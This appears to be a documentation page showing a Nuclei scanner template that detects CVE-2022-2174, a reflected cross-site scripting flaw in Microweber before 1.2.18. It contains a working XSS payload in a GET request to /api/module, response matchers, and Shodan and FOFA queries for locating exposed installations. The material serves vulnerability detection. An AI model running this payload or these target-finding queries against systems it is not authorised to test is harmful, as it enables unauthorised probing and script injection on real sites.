microweber 1.2.18 - Cross-site Scripting
ID: CVE-2022-2174
Severity: medium
Author: r3Y3r53
Tags: cve,cve2022,huntr,microweber,xss,unauth
Description
Section titled “Description”Cross-site Scripting (XSS) - Reflected in GitHub repository microweber/microweber prior to 1.2.18.
YAML Source
Section titled “YAML Source”id: CVE-2022-2174
info: name: microweber 1.2.18 - Cross-site Scripting author: r3Y3r53 severity: medium description: | Cross-site Scripting (XSS) - Reflected in GitHub repository microweber/microweber prior to 1.2.18. reference: - https://huntr.dev/bounties/ac68e3fc-8cf1-4a62-90ee-95c4b2bad607/ - https://nvd.nist.gov/vuln/detail/CVE-2022-2174 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-2174 - https://www.tenable.com/cve/CVE-2022-2174 - https://github.com/microweber/microweber/commit/c51285f791e48e536111cd57a9544ccbf7f33961 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-2174 cwe-id: CWE-79 epss-score: 0.001 epss-percentile: 0.40832 cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: microweber product: microweber shodan-query: - http.favicon.hash:780351152 - http.html:"microweber" fofa-query: - body="microweber" - icon_hash=780351152 tags: cve,cve2022,huntr,microweber,xss,unauth
http: - method: GET path: - "{{BaseURL}}/api/module?type=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&live_edit=true&from_url=test"
matchers: - type: dsl dsl: - 'status_code == 500' - 'contains(body, "<script>alert(document.domain)</script>") && contains(body, "microweber")' - 'contains(content_type, "text/html")' condition: and# digest: 4a0a004730450220627d3ec8abe2ce486df1a085ff154b4ff73cb06678476872b4fc6565246aeec9022100bddd3e59540115d147a4a4ee67779c373631c014cf842e9a7995ee08929b7cf9:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-2174.yaml"